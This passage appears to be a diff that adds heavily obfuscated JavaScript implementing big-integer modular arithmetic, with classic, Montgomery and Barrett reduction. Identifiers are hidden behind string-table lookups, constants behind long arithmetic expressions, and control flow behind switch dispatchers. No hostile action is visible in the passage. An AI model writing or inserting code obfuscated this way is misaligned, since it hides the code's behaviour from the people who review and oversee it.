T[r("0x111")], T[r("0x39")]], I = (h - v * x * a - s * s - f * u) * -(b - n - v * n - f) + (C - v * v * s - a * v - v - f * a) + (p - a * u - v * u - f * f * x) * (d - n - v * u * n - v * s); T.nJSNZ(I, c.length); I++) + for (var B = T.WRbVJ[r("0x1b6")]("|"), w = -(m - a * x * s - f * u - s * u * x - v) * (y - v * s * s - u * f - s * x - f * s * a) + (l - f * a - n - x) * -(g - u - a * x * n - x - x * f) + (E - s * a * n - v * n * n - v * f); ; ) { + switch (B[w++]) { + case "0": + var N = A[r("0x61")][r("0x99")][r("0x112")](A); + continue; + case "1": + N[r("0x1ba")] = A[r("0x112")](A); + continue; + case "2": + var R = c[I]; + continue; + case "3": + N[r("0x129")] = U[r("0x129")].bind(U); + continue; + case "4": + o[R] = N; + continue; + case "5": + var U = o[R] || N; + continue + } + break + } + }); + T[S("0x236")](B); + var w = T[S("0x236")](c); + return w[S("0x180")](r), + w + } + function g(r) { + function e(r) { + return t += r + } + var t = 0; + e(3); + var n = t + 2; + e(1); + var a = t + 2 + , i = e(2) + 1; + e(1); + var u = t + 1 + , s = e(1) + 1; + e(1); + var c = t + 1; + e(1); + var f = t + 1 + , v = e(111) + 54 + , x = e(56) + 16; + e(20); + var l = t + 8; + e(9); + var d = t + 6 + , h = e(50) + 21; + e(98); + var p = t + 21; + e(49); + var y = t + 10 + , g = e(46) + 7; + e(98); + var m = t + 24; + e(32); + var C = t + 8; + e(23); + var b = t + 6; + e(53); + var E = t + 19; + e(18); + var S = t + 4; + e(34); + var I = t + 7; + e(28); + var T = t + 13; + e(42); + var A = t + 9; + e(75); + var B = t + 11; + e(52); + var w = t + 7 + , N = e(32) + 8; + e(30); + var R = t + 4; + e(22); + var U = t + 4; + e(21); + var D = t + 7 + , L = e(47) + 12; + e(14); + var P = t + 5 + , k = e(14) + 5; + e(86); + var K = t + 20 + , V = e(32) + 7; + e(13); + var O = t + 3; + e(2); + var M = t + 2; + e(16); + var j = t + 6 + , F = e(70) + 13 + , G = e(34) + 8; + e(240); + var q = t + 49; + e(84); + var Q = t + 22; + e(110); + var W = t + 21; + e(49); + var z = t + 10 + , H = e(74) + 23; + e(32); + var Y = t + 7; + e(61); + var Z = t + 19 + , X = e(166) + 35 + , J = e(162) + 73; + e(239); + var _ = t + 27 + , $ = e(49) + 14 + , rr = e(44) + 11 + , er = e(9) + 3 + , tr = e(84) + 17 + , nr = e(468) + 116 + , ar = e(139) + 63; + e(483); + var ir = t + 129; + e(288); + var or = t + 39; + e(209); + var ur = t + 77 + , sr = e(285) + 60 + , cr = e(180) + 27; + e(283); + var fr = t + 46; + e(65); + var vr = t + 9; + e(87); + var xr = t + 19; + e(1065); + var lr = t + 358 + , dr = e(324) + 85; + e(634); + var hr = t + 156; + e(341); + var pr = t + 55 + , yr = e(659) + 266 + , gr = e(382) + 63 + , mr = e(119) + 43 + , Cr = e(162) + 60 + , br = e(193) + 40 + , Er = e(47) + 10; + e(1044); + var Sr = t + 264 + , Ir = e(727) + 245; + e(258); + var Tr = t + 108; + e(99); + var Ar = t + 23 + , Br = e(812) + 159; + e(782); + var wr = t + 183; + e(2218); + var Nr = t + 1018 + , Rr = o + , Ur = {}; + Ur[Rr("0xda")] = function(r, e) { + return r != e + } + , + Ur.qzHwZ = function(r, e) { + return r >>> e + } + , + Ur[Rr("0xfb")] = function(r, e) { + return r >> e + } + , + Ur.xSqIQ = function(r, e) { + return r != e + } + , + Ur[Rr("0x135")] = function(r, e) { + return r >> e + } + ; + var Dr, Lr = Ur, Pr = Ir - i * c - s * i * n - u - c * c * s + (k - a * s - i * n - u - n * s * n) * (m - i - f * n * s - f * n - a) - (Nr - a - n - u * c - s); + return Lr[Rr("0xda")]((J - n * f * n - f * c * s - s * f * u - n * f * a) * -(Sr - n * s * n - u * u * i - s * s * i) + (b - i * c - u * s - a * f * i) * (X - f * a * i - a * u - u - s) + (rr - c - i - u * u), Dr = Lr[Rr("0x1aa")](r, gr - f * f * f - s * a * n - s * s - a * c + -(R - c - u - i * n) * -(l - a - f * i - f * f) + (g - i * i * i - a - n * s - u * a) * -(E - u - a - s * f))) && (r = Dr, + Pr += -(H - s * c * f - f * i - u * s * f) * (z - a * s * c - a * u - f * c * i - f * u * n) + (I - c * a * c - c - s * i - n * u) * -(pr - s * u - u * a * a - f - c) + (Er - a - c - n - n)), + Lr.gsZyU(-(mr - f * s - i - c) * (T - c - f * i * u - f * f) - (nr - c - s * s - s * c * s - f) + (Br - a - s * c * a - i * u - u * c * i), Dr = Lr[Rr("0xfb")](r, -(U - f * u * a - a - c * a * n) * -(N - s * f * i - n * n - c * f - n * f) + (B - u * u * c - c * f - s * i - a * u) * -(or - u * i * a - n - i * u * u - u * c * a) - (cr - u * c - n - a * u * c - n * c * u))) && (r = Dr, + Pr += yr - f - u * c - a * s - (er - c * n - s - i * c - u) + (A - n * a * u - s * s * n - i * a) * -(x - n - s * f - n * a)), + Lr[Rr("0xda")](-(Ar - c * i - c * f * c - i - f * a * u) * -(y - a * u * i - i * s - a - i) - (vr - s - c * a * u - s - n * a * u) - (xr - a * i - a - c), Dr = Lr.HdjeP(r, (w - f * i * f - i - u * a - i) * -(Q - n - i * f * s - a * n - f * i) - (ur - f * i - f * f * c - f - n) + (fr - u * n - c - n * i * a))) && (r = Dr, + Pr += (W - a * a - c - s * i * n - s * u * f) * (O - f * f * a - u * c - a * i * a - a * n * n) + (v - n - s * c - s - i * c) * (q - n * a * u - n * c - a - f * c * a) + -(d - i * f - s * n - f - u * s) * (V - f * c - c - s * s)), + Lr.xSqIQ(br - f * n * i - a - n * s * f + (ir - u - a - i - s) * (K - a * c - u * n - f * s * f) + -(P - n * c * i - a * i * c - a * f) * (h - i * c - a * c - a - s * c), Dr = Lr.HdjeP(r, (C - u - a * f - i - u * s * i) * -(_ - u - a - c * u * f - n) + -(F - c * c * i - a - u * n * u - i) * (M - f * a - s * i * f - i - i * a * c) + (wr - a * i - f - n * a * c))) && (r = Dr, + Pr += -(G - s * c - n * a - u * i * n - c) * -(j - s - f * n * f - i * c - n * f * c) + -(S - u * n - f * u - i - i * i * f) * (Z - u * i - i * a - f - u) + (Y - s * a * f - a - n * f * a - s)), + Lr.xSqIQ(-(p - f * a - i - n * i * i - u * i) * -(ar - i - c * u * f - n - c * s) + -(sr - s - s - i * c) * (L - u * f * u - n * c * i - u - n) + ($ - f * n * i - i * c - a), Dr = Lr.GGlNk(r, -(D - f - f * a * f - n * s * a - u) * -(Cr - a * n - n * u - a * s * f - n * s * u) - (dr - f * a - f * a - c * a * u - i) - (tr - c * s - u * s * f - s))) && (r = Dr, + Pr += -(hr - n * a * c - s * a - s * f * s - a * u) - (lr - a * f * i - c * c * u - n * c * n - a * s) + (Tr - c - s * u - c)), + Pr + } + function b(r) { + this.m = r + } + function I(r) { + function e(r) { + return t += r + } + var t = 0 + , n = e(3) + 2; + e(1); + var a = t + 2; + e(2); + var i = t + 1; + e(1); + var u = t + 1; + e(1); + var s = t + 1; + e(1); + var c = t + 1 + , f = e(1) + 1; + e(85); + var v = t + 34 + , x = e(30) + 14; + e(418); + var l = t + 116 + , d = e(471) + 121 + , h = e(460) + 81 + , p = e(265) + 62; + e(1534); + var y = t + 201; + e(391); + var g = t + 80 + , m = e(490) + 193 + , C = e(485) + 236 + , b = e(1850) + 361; + e(839); + var E = t + 132; + e(794); + var S = t + 228 + , I = e(1213) + 283; + e(325); + var T = t + 38 + , A = e(435) + 91; + e(406); + var B = t + 99; + e(1147); + var w = t + 312 + , N = e(301) + 88; + e(823); + var R = t + 287 + , U = e(5204) + 1234 + , D = e(1967) + 450; + e(730); + var L = t + 124 + , P = e(3366) + 845; + e(3600); + var k = t + 534; + e(29299); + var K = t + 7155; + e(8429); + var V = t + 4236 + , O = e(44945) + 5496 + , M = o + , j = { + GleHh: function(r, e) { + return r & e + } + }; + j[M("0x161")] = function(r, e) { + return r === e + } + , + j[M("0x1f9")] = "object", + j.sQCLg = M("0xa6"), + j.vBoqA = function(r, e) { + return r >> e + } + , + j.YERFE = function(r, e) { + return r - e + } + , + j[M("0x1f5")] = function(r, e) { + return r - e + } + , + j[M("0x2")] = function(r, e) { + return r * e + } + ; + var F = j; + this.m = r, + this.mp = r[M("0x142")](), + this[M("0x114")] = F[M("0x1a8")](F[M("0x161")](typeof window, F.IdVHO) ? typeof window[M("0x81")] === F[M("0x159")] ? -(V - c * c * c - i * i * f - i * f * i) - (N - u * u - n - u - f) + (O - s * i * s - s - f * u * n - a * n * n) : -(D - c - n * s * c - n * a - s * i) * (x - u * s - u * i - s) + (k - i - a * f * a - n * f * f) + (d - i * a * f - f * f - f - i * f * i) * (P - a - u * f * c - n * i) : K - u - n * s - s * a - u * c - (I - s * u * u - c - u) - (L - n - s - u * c * f - f * f), this.mp), + this[M("0x100")] = F[M("0x113")](this.mp, h - n - c * i * i - a * n - (E - s * i - u * f - f * f - c * n) + (b - f - n * i * c - c * a * a - n)), + this.um = F[M("0xbf")]((l - f - f * a - i - c * f * n) * -(p - s * s * s - f * u - c * u * c - n) - (C - a - a * s - n * f) + (B - u * u * s - u * f - i - i * f * s) << F[M("0x1f5")](r.DB, (A - i * f - c * a - a * u - f * i * a) * (v - u - c - c * f) + (g - s - i - c * s * f - u * i * i) - (R - s - n * i * u - n * n - u * f * c)), w - c * a * f - u * n * c - c * c * f - f * s + (T - c * a - n * f - n - a * i * c) - (U - a - n * f - u * i * n - f)), + this[M("0x221")] = F[M("0x2")](y - i * c - f * n - f * u - s + (m - f - s - a * s - n * a * s) - (S - u - c * n * s - s * i * c - s), r.t) + } + function A() {} + function B(r) { + return r + } + function w(r) { + function e(r) { + return t += r + } + var t = 0; + e(3); + var n = t + 2; + e(3); + var a = t + 1; + e(0); + var i = t + 2; + e(2); + var u = t + 1; + e(1); + var f = t + 1; + e(0); + var v = t + 2; + e(547); + var x = t + 144 + , l = e(762) + 218; + e(1693); + var d = t + 569 + , h = e(1287) + 227 + , p = o + , y = {}; + y[p("0x9c")] = function(r) { + return r() + } + , + y[p("0x7")] = function(r) { + return r() + } + ; + var g = y; + this.r2 = g[p("0x9c")](c), + this.q3 = g.GBFnv(c), + s.ONE.dlShiftTo(((l - v - v * a * f - i * f * u) * -(x - n * f - i * f * a - n * a) - (d - a * f * f - f * i * v - a - n * f) + (h - f * a * u - f - n - f)) * r.t, this.r2), + this.mu = this.r2.divide(r), + this.m = r + } + b[o("0x99")][o("0xbb")] = function(r) { + function e(r) { + return t += r + } + var t = 0; + e(3); + var n = t + 2; + e(1); + var a = t + 2 + , i = e(2) + 1; + e(1); + var u = t + 1; + e(1); + var s = t + 1 + , c = e(1) + 1; + e(1); + var f = t + 1; + e(82); + var v = t + 23; + e(360); + var x = t + 44; + e(184); + var l = t + 49; + e(201); + var d = t + 46 + , h = e(65) + 16; + e(79); + var p = t + 26; + e(671); + var y = t + 167; + e(162); + var g = t + 63 + , m = e(345) + 72 + , C = e(343) + 77; + e(127); + var b = t + 19 + , E = o + , S = {}; + return S[E("0x207")] = function(r, e) { + return r < e + } + , + S[E("0x207")](r.s, (y - s * u - s * u * n - u * c) * -(v - u - n * f - i * i) + -(x - a * f * a - i - c * s) * -(C - f * i * f - s - c * f * n - u) + -(l - s * i - f - s * c * a) * -(p - c - f * n - n * s * u - s * u * u)) || r.compareTo(this.m) >= -(m - s * f - s * n * c - c * s * a - s * i * f) * -(d - i * c * f - i * u - f * n) + -(b - n * c - f * i * c - f * f * f - f * n * s) * (g - n * c * i - u * s - n - c * a * c) + (h - i * u - i * i - f) ? r[E("0x10d")](this.m) : r + } + , + b[o("0x99")][o("0x156")] = function(r) { + return r + } + , + b[o("0x99")][o("0x1a9")] = function(r) { + r.divRemTo(this.m, null, r) + } + , + b[o("0x99")].mulTo = function(r, e, t) { + var n = o; + r[n("0x6")](e, t), + this[n("0x1a9")](t) + } + , + b[o("0x99")].sqrTo = function(r, e) { + r[o("0x93")](e), + this.reduce(e) + } + , + I[o("0x99")][o("0xbb")] = function(r) { + function e(r) { + return t += r + } + var t = 0; + e(3); + var n = t + 2; + e(2); + var a = t + 1 + , i = e(1) + 1 + , u = e(0) + 2; + e(2); + var f = t + 1; + e(1); + var v = t + 1; + e(1); + var x = t + 1; + e(453); + var l = t + 74; + e(105); + var d = t + 47; + e(296); + var h = t + 127; + e(201); + var p = t + 36; + e(263); + var y = t + 117; + e(2816); + var g = t + 722 + , m = e(859) + 204 + , C = e(1678) + 268; + e(2096); + var b = t + 463; + e(1984); + var E = t + 537 + , S = o + , I = {}; + I[S("0x232")] = function(r) { + return r() + } + , + I[S("0x169")] = function(r, e) { + return r < e + } + , + I.IyfXc = function(r, e) { + return r > e + } + ; + var T = I + , A = T.hQbGs(c); + return r[S("0x1b2")]()[S("0x1fd")](this.m.t, A), + A[S("0x136")](this.m, null, A), + T.LkeKp(r.s, (l - f - x - f * u * i - x) * -(g - u - i - i * n * u) + (b - x * a * f - u - u * f * v - f * i * f) + -(y - u * f * v - f - u * u * x - f) * -(d - u - n - n)) && T[S("0xa3")](A[S("0x1ea")](s.ZERO), -(m - x * u * f - n - i - v * f * n) * (p - x * n - n * v - n * x * f - v * n * v) - (C - u * u - i * v - i * v - n) + (E - i - n * n * a - u * i * u) * (h - u * x * x - v - i - n)) && this.m[S("0x116")](A, A), + A + } + , + I.prototype.revert = function(r) { + var e = { + tIYQj: function(r) { + return r() + } + } + , t = e.tIYQj(c); + return r.copyTo(t), + this.reduce(t), + t + } + , + I[o("0x99")][o("0x1a9")] = function(r) { + function e(r) { + return t += r + } + var t = 0; + e(4); + var n = t + 1 + , a = e(1) + 1; + e(1); + var i = t + 1; + e(1); + var u = t + 1 + , s = e(1) + 1; + e(1); + var c = t + 1; + e(0); + var f = t + 2; + e(125); + e(154); + var v = t + 56; + e(92); + var x = t + 17; + e(209); + var l = t + 43 + , d = e(91) + 44; + e(44); + var h = t + 11 + , p = e(16) + 7; + e(35); + var y = t + 6; + e(15); + var g = t + 5; + e(259); + var m = t + 38 + , C = e(45) + 10; + e(110); + e(276); + var b = t + 34; + e(41); + var E = t + 7; + e(159); + var S = t + 26; + e(71); + var I = t + 23; + e(134); + var T = t + 35; + e(182); + var A = e(310) + 88; + e(171); + var B = t + 84; + e(130); + var w = t + 35; + e(188); + var N = t + 61; + e(119); + var R = t + 19; + e(98); + var U = t + 18 + , D = e(60) + 18; + e(231); + var L = t + 74; + e(217); + var P = t + 54; + e(158); + var k = t + 25; + e(182); + e(1e3); + var K = t + 167; + e(335); + var V = t + 126; + e(571); + e(1594); + var O = t + 383; + e(1556); + var M = t + 340; + e(1222); + var j = t + 218; + e(617); + var F = t + 113; + e(1580); + var G = t + 372; + e(18590); + var q = t + 3446 + , Q = e(43831) + 4936 + , W = o + , z = {}; + z[W("0xeb")] = function(r, e) { + return r < e + } + , + z[W("0x12a")] = function(r, e) { + return r <= e + } + , + z.RwLer = function(r, e) { + return r < e + } + , + z[W("0x67")] = function(r, e) { + return r !== e + } + , + z[W("0x17d")] = W("0x1cc"), + z[W("0x18c")] = function(r, e) { + return r & e + } + , + z[W("0x130")] = function(r, e) { + return r + e + } + , + z[W("0x59")] = function(r, e) { + return r << e + } + , + z[W("0x12d")] = function(r, e) { + return r * e + } + , + z[W("0x23f")] = function(r, e) { + return r >> e + } + , + z.ggCVQ = function(r, e) { + return r >= e + } + , + z[W("0x153")] = function(r, e) { + return r >= e + } + ; + for (var H = z; H[W("0x12a")](r.t, this[W("0x221")]); ) + r[W("0x19")][r.t++] = (m - n - c * c * c - c * u) * (D - s * n * f - u * f - s) - (M - f * f - f * c - c * c * i) + (k - n * n * c - a * u - a * n * i - u); + for (var Y = (V - n * c * s - u * u - c * a * u - f * a * c) * -(p - s * s * s - c - a) + (F - c * c * a - u * i * s - f * f * a - n * n * c) - (T - a * n - n * f * i - i * u - f * a); H.RwLer(Y, this.m.t); ++Y) + if (H.NnLUa(H[W("0x17d")], H[W("0x17d")])) + ; + else { + var Z = H[W("0x18c")](-(q - u - s * n - i * i * n - u) * (l - f - n * f * c - c * i) - (G - i - c * i - f * u) + (Q - i * c - i - f * f - i * i), r[W("0x19")][Y]) + , X = H[W("0x18c")](H[W("0x130")](Z * this.mpl, H.KIXSg(H[W("0x18c")](H[W("0x12d")](Z, this[W("0x100")]) + H.xQvMB(H.hiECp(r[W("0x19")][Y], -(K - a * a * c - c - i * f - f * u * n) * (d - n * i * n - u - s * a * c) + -(C - u - f * f * s - a) * (w - c - s * a * i - c * i - c) + (x - n * a * f - i * i - s - u) * (O - i - i * s - i * s - c * f * f)), this[W("0x114")]), this.um), -(y - u * s * s - n - f * a - f * n) * -(T - u * a * s - f * s * i - u * c * i) + (E - c - s * f * i - i - i) + -(g - a * n * f - u * c - a - s * a * i) * (B - s * i - i - f * f))), r.DM); + for (Z = H[W("0x130")](Y, this.m.t), + r[W("0x19")][Z] += this.m.am(h - c * a - u * s - i * c - n + (S - s * c * n - u * c * n - s * s - i * c * f) * (I - n - s - u * a * s) + (P - c - s * n - a) * -(v - n * f * n - a * c - i), X, r, Y, -(A - c - u * c - s * f * c - n * a) - (R - u - u * c * s - u * u * s) + (U - n - a * n - f), this.m.t); H[W("0x87")](r.data[Z], r.DV); ) + r.data[Z] -= r.DV, + r.data[++Z]++ + } + r[W("0x7a")](), + r[W("0x34")](this.m.t, r), + H.XyOhF(r[W("0x1ea")](this.m), -(j - s * n * c - f * a - f - u * s) - (L - a - f - n * s - u * n * u) + (b - i * s * s - c * s * i - c - a * c * n) * (N - n - f * c * s - u * n - n * c)) && r[W("0x116")](this.m, r) + } + , + I[o("0x99")][o("0x1b4")] = function(r, e, t) { + var n = o; + r[n("0x6")](e, t), + this[n("0x1a9")](t) + } + , + I[o("0x99")].sqrTo = function(r, e) { + r.squareTo(e), + this.reduce(e) + } + , + s.prototype[o("0x20a")] = function(r) { + function e(r) { + return t += r + } + var t = 0 + , n = e(3) + 2; + e(2); + var a = t + 1; + e(1); + var i = t + 1; + e(1); + var u = t + 1; + e(0); + var s = t + 2; + e(1); + var c = t + 2 + , f = e(2) + 1 + , v = e(520) + 93; + e(264); + var x = t + 85; + e(648); + var l = t + 210; + e(270); + var d = t + 131; + e(637); + var h = t + 139; + e(426); + var p = t + 91 + , y = e(1192) + 258; + e(3694); + var g = t + 765; + e(1e3); + var m = t + 310 + , C = o + , b = {}; + b[C("0xc2")] = function(r, e) { + return r - e + } + , + b[C("0x1f2")] = function(r, e) { + return r >= e + } + ; + for (var E = b, S = E[C("0xc2")](this.t, -(m - i - a * a - a * u * f - n) - (g - a * a - s * u * f - s - n * f * f) + -(x - s - f * c - a * c * n - n * u * f) * -(p - c * f * n - s * i * i - i * f * i - i * s * s)); E[C("0x1f2")](S, (d - s * s - u * s * s - a - c) * (h - s * u * i - c * i * n - c * s * c - a * f * f) + (l - c * u * f - f - u) + -(y - i * f * u - n - n - c * a * i) * (v - u - c - a * f * s - u)); --S) + r[C("0x19")][S] = this[C("0x19")][S]; + r.t = this.t, + r.s = this.s + } + , + s[o("0x99")][o("0x180")] = function(r) { + function e(r) { + return t += r + } + var t = 0; + e(3); + var n = t + 2; + e(1); + var a = t + 2; + e(2); + var i = t + 1; + e(1); + var u = t + 1 + , s = e(1) + 1 + , c = e(1) + 1; + e(1); + var f = t + 1; + e(80); + var v = t + 13; + e(13); + var x = t + 5; + e(35); + var l = t + 8; + e(14); + var d = t + 6; + e(8); + var h = t + 5; + e(313); + var p = t + 39; + e(104); + var y = t + 16; + e(20); + var g = t + 8; + e(176); + var m = t + 65 + , C = e(231) + 42; + e(82); + var b = t + 10 + , E = e(128) + 34; + e(351); + var S = t + 60 + , I = e(139) + 35 + , T = e(60) + 9; + e(19); + var A = t + 11; + e(44); + var B = t + 9 + , w = e(30) + 8 + , N = e(138) + 74; + e(139); + var R = t + 27 + , U = e(53) + 19 + , D = e(366) + 116 + , L = e(533) + 196 + , P = e(1059) + 278 + , k = e(483) + 71; + e(729); + var K = t + 280; + e(479); + var V = t + 82; + e(309); + var O = t + 69; + e(551); + var M = t + 81 + , j = e(417) + 148 + , F = e(176) + 45 + , G = e(35) + 15; + e(1128); + var q = t + 285; + e(1329); + var Q = t + 231; + e(258); + var W = t + 98; + e(4931); + var z = t + 1121; + e(1077); + var H = t + 250 + , Y = o + , Z = {}; + Z[Y("0x15e")] = function(r, e) { + return r < e + } + ; + var X = Z; + this.t = (k - n * c * f - s - n - a * f) * -(x - n - a * a - c - n * f) + (D - i * n - u * s * f - n * c - u) + (M - i * a * s - u - n * n - f), + this.s = X[Y("0x15e")](r, O - f * u - a * s * u - i * f * u - u - (N - i - c * s * a - f * n - f * n) + (l - s * c - u - i * a - n) * -(P - s * i - a * i - a * n - c * s * i)) ? -(-(q - i * f * u - a * f - a * c * c - c * c) * -(p - i * s - i * s - f * i * n) - (K - a - f * i - f) - (B - f - s - n)) : -(d - f * u - s - a * c) * -(W - c - a * f * c - c - s) + (V - f - u * a * s - s - f * f) - (z - f * f * a - c * a - u * u * i - u * u), + r > j - i * c * i - c - u - u + (Q - i * i * s - s * n - a * c * f - a * i * s) - (H - s - n * s * i - f * c - c * s * i) ? this[Y("0x19")][-(I - s * n * u - a * c - c * u * n - f * c * u) * -(C - i - a * u * c - a * c * s) - (A - a * i * c - s * s * u - n * c * i) + -(y - s * n - a * n - n * i * f - a * c) * (v - i * a - f - n - u * n)] = r : r < -((E - u * a - i * c - n - a * i * s) * (T - c * f * a - u - s * f * f - i) - (w - c * f - u * f * c - i * i * c) + (F - n * s - i * i * u - i * u * c) * -(S - c * s - i * c * c - f * c * i - u * u)) ? this.data[-(U - f * a * i - f - c - n * n * a) * (h - c * s - a * c - f) + (g - i * s - f * a * i - n - c) * -(m - s * a * i - n * c * i - s * a - f * n) + (G - i - i * s * c - s - u * i * a)] = r + this.DV : this.t = L - u * c * f - n * a - n - f - (R - u - f - s - f * u) - (b - u - i * s * i - a * i * u) + } + , + s.prototype[o("0x18f")] = function(r, e) { + function t(r) { + return n += r + } + var n = 0; + t(4); + var a = n + 1; + t(1); + var i = n + 1; + t(1); + var u = n + 1 + , c = t(1) + 1; + t(1); + var f = n + 1; + t(1); + var v = n + 1; + t(1); + var x = n + 1; + t(40); + var l = n + 13; + t(22); + var d = n + 5 + , h = t(14) + 5 + , y = t(18) + 7; + t(16); + var g = n + 4 + , m = t(3) + 2; + t(1); + var C = n + 2; + t(20); + var b = n + 5 + , E = t(8) + 2; + t(17); + var S = n + 6 + , I = t(17) + 7; + t(7); + var T = n + 3 + , A = t(24) + 8; + t(17); + var B = n + 5 + , w = t(21) + 5; + t(32); + var N = n + 12; + t(41); + var R = n + 22; + t(21); + var U = n + 6 + , D = t(5) + 3 + , L = t(7) + 2; + t(9); + var P = n + 2; + t(6); + var k = n + 2 + , K = t(16) + 7; + t(23); + var V = n + 7; + t(18); + var O = n + 5; + t(6); + var M = n + 3; + t(28); + var j = n + 6 + , F = t(7) + 3; + t(4); + var G = n + 1; + t(2); + var q = n + 2; + t(12); + var Q = n + 4; + t(28); + var W = n + 5; + t(6); + var z = n + 3; + t(9); + var H = n + 6; + t(34); + var Y = n + 5; + t(20); + var Z = n + 5; + t(9); + var X = n + 3 + , J = t(14) + 6; + t(29); + var _ = n + 11; + t(16); + var $ = n + 3 + , rr = t(10) + 5 + , er = t(27) + 10 + , tr = t(31) + 8; + t(9); + var nr = n + 3; + t(5); + var ar = n + 2; + t(16); + var ir = n + 3 + , or = t(2) + 2; + t(12); + var ur = n + 4; + t(102); + var sr = n + 25; + t(23); + var cr = n + 4; + t(7); + var fr = n + 2; + t(5); + var vr = n + 4; + t(15); + var xr = n + 6; + t(11); + var lr = n + 3; + t(5); + var dr = n + 2 + , hr = t(49) + 10 + , pr = t(8) + 5; + t(25); + var yr = n + 8; + t(17); + var gr = n + 5 + , mr = t(6) + 4; + t(14); + var Cr = n + 7 + , br = t(27) + 11; + t(18); + var Er = n + 5; + t(29); + var Sr = n + 5 + , Ir = t(19) + 5; + t(32); + var Tr = n + 8; + t(120); + var Ar = n + 35; + t(89); + var Br = n + 32; + t(47); + var wr = n + 12 + , Nr = t(28) + 9 + , Rr = t(197) + 44; + t(46); + var Ur = n + 17; + t(28); + var Dr = n + 7; + t(38); + var Lr = n + 16; + t(76); + var Pr = n + 28; + t(37); + var kr = n + 9; + t(56); + var Kr = n + 13 + , Vr = t(73) + 16; + t(148); + var Or = n + 30; + t(53); + var Mr = n + 12; + t(11); + var jr = n + 4; + t(41); + var Fr = n + 10; + t(72); + var Gr = n + 24; + t(170); + var qr = n + 68; + t(64); + var Qr = n + 13 + , Wr = t(72) + 21; + t(38); + var zr = n + 8; + t(94); + var Hr = n + 24; + t(225); + var Yr = n + 110; + t(193); + var Zr = n + 30 + , Xr = t(63) + 15; + t(287); + var Jr = n + 55; + t(115); + var _r = n + 56 + , $r = t(62) + 20; + t(47); + var re = n + 18; + t(50); + var ee = n + 19 + , te = t(105) + 16; + t(238); + var ne = n + 39; + t(115); + var ae = n + 25; + t(94); + var ie = n + 20; + t(73); + var oe = n + 11; + t(107); + var ue = n + 46; + t(81); + var se = n + 20 + , ce = t(86) + 31; + t(54); + var fe = n + 7; + t(39); + var ve = n + 15 + , xe = t(79) + 11; + t(143); + var le = n + 36 + , de = t(281) + 53; + t(107); + var he = n + 18; + t(80); + var pe = n + 15; + t(357); + var ye = n + 101; + t(135); + var ge = n + 49; + t(98); + var me = n + 39 + , Ce = t(55) + 22 + , be = t(21) + 10 + , Ee = t(157) + 48 + , Se = t(142) + 41; + t(54); + var Ie = n + 27 + , Te = t(190) + 57; + t(90); + var Ae = n + 16; + t(105); + var Be = n + 31; + t(37); + var we = n + 9 + , Ne = t(149) + 49; + t(257); + var Re = n + 80; + t(89); + var Ue = n + 23; + t(174); + var De = n + 37; + t(90); + var Le = n + 18; + t(189); + var Pe = n + 45; + t(55); + var ke = n + 11; + t(105); + var Ke = n + 23 + , Ve = t(113) + 13 + , Oe = t(23) + 8 + , Me = t(407) + 64 + , je = t(151) + 38; + t(41); + var Fe = n + 11; + t(49); + var Ge = n + 11; + t(50); + var qe = n + 16; + t(59); + var Qe = n + 29 + , We = t(128) + 19 + , ze = t(127) + 41; + t(100); + var He = n + 20; + t(50); + var Ye = n + 11 + , Ze = t(162) + 69 + , Xe = t(205) + 76 + , Je = t(68) + 11; + t(151); + var _e = n + 30 + , $e = t(29) + 6 + , rt = t(155) + 34; + t(114); + var et = n + 31; + t(33); + var tt = n + 12 + , nt = t(1136) + 212; + t(465); + var at = n + 154; + t(329); + var it = n + 53; + t(3158); + var ot = n + 938 + , ut = o + , st = {}; + st[ut("0x143")] = "4|3|2|1|0", + st[ut("0x14c")] = function(r, e) { + return r == e + } + , + st.wCERc = function(r, e) { + return r != e + } + , + st.kJett = function(r, e) { + return r & e + } + , + st.epWDv = function(r, e) { + return r > e + } + , + st[ut("0x137")] = function(r, e) { + return r - e + } + , + st.zdzHP = function(r, e) { + return r << e + } + , + st.Kabcx = function(r, e) { + return r >= e + } + , + st.mCaFi = function(r, e, t) { + return r(e, t) + } + , + st[ut("0xa9")] = function(r, e) { + return r < e + } + , + st[ut("0x1fb")] = function(r, e) { + return r == e + } + , + st[ut("0x16")] = function(r, e) { + return r + e + } + , + st.mnQXc = function(r, e) { + return r << e + } + , + st[ut("0xd")] = function(r, e) { + return r >> e + } + , + st[ut("0xca")] = function(r, e) { + return r << e + } + , + st[ut("0x40")] = function(r, e) { + return r >= e + } + , + st[ut("0x166")] = function(r, e) { + return r == e + } + ; + for (var ct = st, ft = ct[ut("0x143")][ut("0x1b6")]("|"), vt = -(he - a - x * v - u * f * x - u * c) - (Te - a - c - c * a - x * x) + (nt - c * c - f - a * v * i - v * u); ; ) { + switch (ft[vt++]) { + case "0": + ct[ut("0x14c")](He - f - f - f - u - (we - c * u * x - c - c * v - c * c * c) + (vr - v - c - f * x * f) * -(ue - i - u * x * v - i * a * u - f * c), pt) && ct[ut("0x24")](Ue - i * x - u - f * a - x * v * f + (Mr - f * x * v - f * x - u) * -(k - i - a * f * c - i) + (or - i * v - a - v - a * i * c), ct.kJett(Ie - a * x * v - c * u * f - u - a * u + -(fr - c * v * v - a * u - i * c - c) * -(Hr - x * u - x * c * c - v * x * x) - (ot - f - v * f * v - f * u * a), r[-(Yr - a * c - v * i * a - c * f - i) - (Zr - u * v * u - f * f * u - f * i - i * c) + (xe - a - a - x * x - c)])) && (this.s = -(-(Fr - c * x - x * x - x * x * x) * (Pr - i * x * c - v * x - x * x * c - a * i * f) - (Ze - i - i * f - c * a * c - i) + -(F - a * c * a - a - i * f * a) * -(Be - x * a - u - c * f * f - x * f * f)), + ct[ut("0x176")](dt, Ke - i - i - x * c - c * a + -(I - u * a - x - u - x * f) * (jr - c * x * c - f * c * u - u * i * v - a * c * v) + (mr - c - c * c * a - u * a * c - f)) && (this[ut("0x19")][ct[ut("0x137")](this.t, -(Nr - v * v - i - a * f - f * a * c) * (A - x - v - c * v - x * x) - (Re - a - a - u * c * u - a * a * x) + (Je - v - v - f * u - v * u))] |= ct[ut("0x137")](ct[ut("0x96")](zr - u * x - v * c * x - f * u - v + (Qe - f - x * u * x - u * f * x - c) * (_ - f * i * f - c * x - i * u - u * a) - (ze - u * u - c - a * x - a * v), ct.NaczP(this.DB, dt)), (ce - f * x - a * v * a - u - u) * -(y - a - u * a - c * c - a) + (h - x - a - c * c - v) * -(_r - c * x * u - i - i * u * f - v) + (at - a * i * u - i * u * i - u * v - a)) << dt)), + this.clamp(), + lt && s[ut("0x1a4")][ut("0x116")](this, this); + continue; + case "1": + for (var xt = r[ut("0x226")], lt = !((b - x - u * u - c * x) * -(Ye - a * a - a * i - f - x) + -(L - u * v - c * 